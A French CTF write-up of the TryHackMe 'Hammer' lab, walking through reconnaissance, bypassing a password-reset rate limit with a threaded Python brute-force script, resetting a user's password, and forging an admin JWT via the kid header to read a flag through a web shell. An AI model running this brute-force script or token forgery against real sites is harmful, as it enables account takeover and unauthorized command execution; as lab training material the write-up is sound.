Post

HAMMER CTF

HAMMER CTF

Aujourd’hui, nous nous attaquons à un CTF, axé principalement sur le thème de l’authentification web. Ce CTF est disponible sur la plateforme TryHackMe et a été créé par 1337rce.

Notre cible pour ce CTF est la machine avec l’IP suivante : 10.10.43.36 et nous allons tenter de répondre aux deux questions du challenge :

  • Quelle est la valeur du flag après s’être connecté au tableau de bord ?
  • Quel est le contenu du fichier /home/ubuntu/flag.txt ?

Phase de reconnaissance

Pour commencer, nous allons scanner les ports disponibles. Étant donné que notre cible est une application web, nous réaliserons un scan rapide et agressif sur tous les ports, comme suit : Image nmap

Nous découvrons qu’un service SSH fonctionne sur le port 22, ainsi qu’un service compatible avec le protocole WASTE qui est un protocole de communication peer-to-peer (P2P) qui permet de créer des réseaux privés sécurisés. Cependant, étant donné que nous avons effectué un scan superficiel, il est possible que le scan ait mal identifié un service, et qu’en réalité, le port héberge l’application web cible. Le meilleur moyen de le vérifier est de tester nous-mêmes :

Image

Identification de l’application web

Bingo ! Nous avons deux champs d’authentification : email et mot de passe. Avant de procéder, nous allons analyser les technologies utilisées sur le site et examiner le code source de la page pour repérer d’éventuelles informations intéressantes.

Image avec wappalyzer Image code source

Nous constatons que le site tourne sur un serveur Apache, utilise Bootstrap pour le front-end, la librairie jQuery pour les scripts côté client, et du PHP pour le back-end. Le code source nous révèle également une note pour les développeurs, indiquant que les répertoires doivent commencer par hmr_.

Tests de vulnérabilité

Nous avons suffisamment d’informations pour effectuer deux tests simples.

Nous allons vérifier si les champs email et mot de passe sont vulnérables aux injections SQL : Image Image

Il semble que non.

Ensuite, nous allons répertorier les sous-répertoires de http://10.10.43.36:1337/. Nous testerons avec une liste de mots communs, puis une autre liste commençant par hmr_ (en référence à la convention de nommage vue dans le code source).

Image Gobuster

Nous trouvons plusieurs répertoires intéressants. Je ne vais pas tous les lister, mais nous allons nous concentrer sur les plus pertinents.

  • /vendor
  • /hmr_log

Le répertoire vendor contient des fichiers relatifs à la librairie php-jwt, qui gère les JSON Web Tokens (JWT). En fouillant un peu, nous découvrons le répertoire GitHub officiel, un fichier README expliquant le fonctionnement des tokens, ainsi que leurs différents algorithmes.

Image Image

Le répertoire hmr_log contient des logs d’erreurs, notamment des tentatives de connexion échouées pour un utilisateur tester@hammer.thm. Nous pouvons voir plusieurs tentatives infructueuses qui ont abouti à une déconnexion forcée de l’utilisateur avec le message “Request exceeded the limit of 10…“.

Image Image

Nous allons tester nous-mêmes pour confirmer. Mais avant cela, nous allons lancer un test de bruteforce avec hydra en arrière-plan pour voir si l’utilisateur possède un mot de passe faible (spoiler : cela ne donnera rien).

Image hydra

Analyse de la page “Forgot your password?”

Nous nous intéressons maintenant à la page “Forgot your password?”. Comme d’habitude, nous jetons un œil au code source avant de faire quoi que ce soit.

Image Image

Nous remarquons un script JS contenant une fonction startCountdown() qui est censée nous rediriger vers la page /logout.php lorsque le timer atteint zéro.

Image timer

En utilisant BurpSuite, nous interceptons la requête lorsque nous envoyons un chiffre (ici 1234), et remarquons qu’en plus du paramètre recovery_code, il y a un autre paramètre s, qui semble correspondre au nombre de secondes restantes. Nous pourrions donc envisager de modifier cet argument avec un nombre arbitraire élevé pour prolonger le délai de récupération.

Image Image

Attaque par bruteforce

Cette opportunité de prolonger le délai nous permet d’envisager une attaque par bruteforce, où nous tenterions toutes les possibilités possibles, c’est à dire les 10000 nombres possible. Cependant, comme nous l’avons vu dans les logs, il y a une limite de tentatives que nous pouvons confirmer dès la septième tentative (on remarque immédiatement une taille de réponse inhabituelle).

Image Image

Contournement de la limite de tentatives

Dès que nous essayons d’accéder à reset_password.php, nous sommes bloqués sur un écran de sécurité. Pour contourner cette restriction et réessayer, nous allons changer notre cookie de session.

Image Image

Maintenant, un prolbème se pose : comment contourner cette limite de tentatives ?
Après plusieurs tentatives infructueuses, j’ai trouvé une faille simple dans le système :
Le paramètre LimitInternalRecursion, qui limite le nombre d’essais, ne s’applique qu’aux tentatives sur le code de récupération. En d’autres termes, pour chaque code envoyé, nous avons 10 tentatives possibles. Cependant, le contraire n’est pas vérifié ! Nous pouvons donc envoyer un nombre illimité de codes pour une tentative donnée.

Ainsi, nous pourrions donc imaginer le scénario suivant :

  1. Choisir un code aléatoire (par exemple 1345).
  2. Demander une réinitialisation du mot de passe.
  3. Le site nous envoie un code.
  4. Nous essayons 1345.
  5. Si ce n’est pas le bon, nous nous déconnectons
  6. Demander une réinitialisation du mot de passe… et ainsi de suite.

Pour appliquer cette stratégie, nous allons donc créer un script Python (c’est le langage avec lequel je me sens le plus à l’aise pour faire des requêtes web) qui décrit les étapes citées précédemment et, lorsque nous tomberons sur le bon code, nous afficherons la réponse.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
from concurrent.futures import ThreadPoolExecutor
import time

# Paramètres de base
url = 'http://10.10.43.36:1337/reset_password.php'
logout_url = 'http://10.10.43.36:1337/logout.php'
headers = {
    'Host': '10.10.43.36:1337',
    'Cache-Control': 'max-age=0',
    'Origin': 'http://10.10.44.48:1337',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://10.10.43.36:1337/reset_password.php',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'fr-FR,fr;q=0.9',
}

cookies = {
    'PHPSESSID': 'abcdefghijkkjihgfedcba',  
}

# Paramètres pour la première requête POST 
data_reset_password = {
    'email': 'tester@hammer.thm',
}

# Paramètres pour la deuxième requête POST (code de récupération)
data_recovery_code = {
    'recovery_code': '1345', 
    's': '50000',
}

# Fonctions pour envoyer les requêtes
def send_reset_password():
    response = requests.post(url, headers=headers, cookies=cookies, data=data_reset_password)
    print("Réinitialisation du mot de passe: ", response.status_code)
    return response

def send_recovery_code():
    response = requests.post(url, headers=headers, cookies=cookies, data=data_recovery_code)
    print("Soumission du code de récupération: ", response.status_code)
    return response

def send_logout():
    response = requests.get(logout_url, headers=headers, cookies=cookies)
    print("Déconnexion: ", response.status_code)
    return response

# Envoi des requêtes
def send_requests():
    compteur = 1
    with ThreadPoolExecutor(max_workers=20) as executor: 
        while True:
            print(f"Requête numéro : {compteur}")
            future_reset = executor.submit(send_reset_password)
            future_recovery = executor.submit(send_recovery_code)
            
            response_reset = future_reset.result()
            response_recovery = future_recovery.result()
            
            if "Invalid or expired recovery code!" not in response_recovery.text and "Time elapsed. Please try again later." not in response_recovery.text:
                print(response_recovery.text)
                break  # Arrêter la boucle

            future_logout = executor.submit(send_logout)
            response_logout = future_logout.result()
            print("Déconnexion: ", response_logout.status_code)
            compteur += 1

if __name__ == "__main__":
    send_requests()

Finalement, après l’exécution du script et 10 minutes passées à regarder mon écran tourner dans le vide, j’ai enfin obtenu la réponse attendue :

Image

On peut voir ainsi, que lorsque le code de récupération est correct, le site nous demande d’entrer un nouveau mot de passe et de le confirmer. Qu’attendons-nous alors ? Maintenant qu’on a cette information, on va modifier très légèrement notre code Python pour qu’en plus d’afficher la réponse lorsqu’il trouve le code, qu’il envoie aussi une requête pour changer le mot de passe.

1
2
3
4
5
6
7
8
9
10
11
data_new_password = {
    'password': 'root',
    'confirm_password': 'root',
}

if "Invalid or expired recovery code!" not in response_recovery.text and "Time elapsed. Please try again later." not in response_recovery.text:
    print(response_recovery.text)
    response_new_password = requests.post(url, headers=headers, cookies=cookies, data=data_new_password)
    print("Mot de passe réinitialisé avec succès !")
    break  # Arrêter la boucle

Bon et bien plus qu’à attendre une autre dizaine de minutes… Image

🎉 Biiiingo ! 🎉

On a donc notre email : tester@hammer.thm et notre mot de passe défini : root. Sans plus attendre, connectons-nous pour récupérer notre drapeau sur la page dashboard.php !

Image

Accès dashboard

Comme d’habitude, on va jeter un coup d’œil au code source.

Image

Image

Ici deux choses à noter : premièrement, il y a une fonction JS qui vérifie si notre cookie persistentSession est à true, si non, alors nous sommes déconnectés (je viens d’ailleurs d’en faire les frais, ahaha).

Deuxièmement, on trouve une fonction AJAX qui, lorsqu’une requête POST est envoyée à execute_commande.php, ajoute dans le header le paramètre Authorization: Bearer suivi de notre token web (dont nous avons pu voir le fonctionnement dans le répertoire /vendor, si vous vous souvenez bien).

En première intention, pour éviter les déconnexions en continue, on va changer notre cookie persistentSession à yes et, par la même occasion, changer sa date d’expiration, car comme vous pouvez le voir, le cookie est déjà expiré depuis 1h00.

Image

Ensuite, on va jeter un coup d’œil à notre token et examiner de quoi sont constitués son payload et son header. Image

Exploration du shell web

Enfin, maintenant que nous avons stabilisé notre session, on va pouvoir pianoter sur le shell web, si je puis dire, pour explorer nos possibilités d’action.

Image Image

Bon, visiblement, le fait d’être user nous restreint pas mal dans l’utilisation des commandes. Après avoir essayé plusieurs tentatives pour lire le fichier flag (avec more, less, tail, echo…), je pense que nous n’aurons pas le choix que de changer notre rôle d’user à admin. Pour cela, on va devoir changer notre token web, car comme nous l’avions vu avec la fonction AJAX, c’est lui qui est le facteur responsable de nos restrictions, étant donné qu’il est ajouté dans chaque requête POST lorsqu’on utilise le shell.

Création d’un token web admin

On a vu, lors de l’utilisation de ls (seule commande qui nous était possible), qu’on avait une clé accessible (188ade1.key) et nous avons aussi vu, en décodant notre JWT, que nous avions un argument dans le header : kid, c’est-à-dire un key id. Pour rappel, le key id dans l’en-tête est une manière d’identifier la clé cryptographique pour signer et vérifier le jeton. Je pense que vous avez donc déjà fait le rapprochement : nous allons utiliser notre clé déjà présente sur le serveur pour créer notre propre JWT.

Pour cela, on va d’abord récupérer la signature associée à la clé :

Image

Image

Puis on va créer notre token, en nous attribuant le rôle d’admin (rien que ça), en insérant le chemin de la clé sur le serveur et de sa signature.

Image

Maintenant que nous avons notre token d’admin, il ne nous reste plus qu’à l’insérer dans le header de notre requête POST lorsque nous entrerons une commande, ici cat /home/ubuntu/flag.txt.

Image

Et voilà !
🎉 CTF accompli ! 🏆

This post is licensed under CC BY 4.0 by the author.